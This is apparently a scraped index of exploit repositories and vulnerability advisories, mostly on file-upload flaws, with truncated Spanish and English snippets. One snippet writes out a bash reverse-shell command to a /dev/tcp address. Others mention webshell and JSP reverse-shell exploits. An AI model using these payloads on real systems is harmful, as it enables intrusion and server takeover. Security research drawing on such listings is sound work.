CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versión probada Construir el comando para generar el exploit echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Usar djvumake para generar la imagen del exploit import os payloads= "echo 'bash -i &...

wargame-tarpioka

BubbleTea CVE-2007-4559 Directory traversal vulnerability using .tar to ../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py Current Building Instructions check docker docker ps docker images docker build -t tarpioka...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versiones " image.jpg 4 Renombre este archivo a image.php. 5 En la página del formulario, cargue el archivo image.php creado. 6 Ahora, para ejecutar este archivo simplemente acceda a https://yoursite.com/assets/image.php Nota: reemplacehttps://yoursite.com con la...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2021. Descripción del Exploit El exploit envía una solicitud POST que contiene un reverse shell JSP a /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2024-22393

Explotar CVE-2024-22393 Para explotar esta vulnerabilidad, sube la foto que proporcioné en cualquier sección de carga de fotos. lottapixel.jpg Referencias: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1...

CVE-2024-50510

CVE-2024-50510 AR Para Woocommerce = 6.2 - Subida de Archivos Arbitraria No Autenticada Descripción El plugin AR for WooCommerce para WordPress es vulnerable a subidas de archivos arbitrarias debido a la falta de validación del tipo de archivo en todas las versiones hasta la 6.2 inclusive. Esto...

cve-2017-7269-tool

Herramienta de webshell y shellcode para cve-2017-7269 compilación csc cve-2017-7269.cs uso CVE-2017-7269 parms Header: -h especifica el host para la cabecera If -p especifica el puerto para la cabecera If -s especifica el esquema para la cabecera If -l longitud de la ruta física WebShell: -w sub...

CVE-2023-50164

Exploit CVE-2023-50164 para el Laboratorio HackTheBox Descripción Este exploit fue desarrollado específicamente para el laboratorio Strutted de HackTheBox , con el objetivo de explotar la vulnerabilidad CVE-2023-50164 en Apache Struts 2. La falla permite path traversal a través de un fallo en el...

CVE-2026-38526

CVE-2026-38526 — Krayin CRM ≤ 2.2.x Authenticated RCE ⚠️ Legal disclaimer : this code is provided for educational purposes and for authorized testing only CTF, bug bounty, private lab. The author is not responsible for any illegal use. Description Krayin CRM Webkul ≤ 2.2.x exposes the...

CVE-2025-57462

CVE-2025-57462 Des: Stored XSS via Malicious File Upload in machpanel 8.0.32. POC: Navigate to https://controlpaneldomain/Client/SubmitTicket.aspx and Upload PDF file that contain XSS scripts in metadata, after submitting the ticket you can execute malicius XSS script by accessing the uplaoded...

CVE-2025-57298

Stored XSS via Renderizado Inseguro de Markdown en Kotaemon Resumen Kotaemon es un sistema de preguntas y respuestas sobre documentos basado en RAG Generación Aumentada por Recuperación de código abierto que proporciona una interfaz web para consultar documentos subidos como PDF, Word y archivos...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

DotCMS - Arbitrary File Upload

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. id: CVE-2022-26352 info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCM...

SPIP BigUp Plugin - Remote Code Execution

SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request. id: CVE-2024-8517 info: name: SPIP BigUp Plugin - Remote Code Execution...

CVE-2026-19386

A stack-based buffer overflow exists in ASUS router modules , which allows an authenticated nearby user to execute arbitrary code . This vulnerability is triggered by uploading a crafted configuration file that exceeds the expected buffer size. For specific details on affected versions and remedi...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

EUVD-2026-94157

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2019-12889

CVE-2019-12889 Resumen Existe una escalada de privilegios no autenticada en SailPoint Desktop Password Reset 7.2. Un usuario con acceso local únicamente a la pantalla de inicio de sesión de Windows puede escalar sus privilegios a NT AUTHORITY\System. Un atacante necesitaría acceso local a la...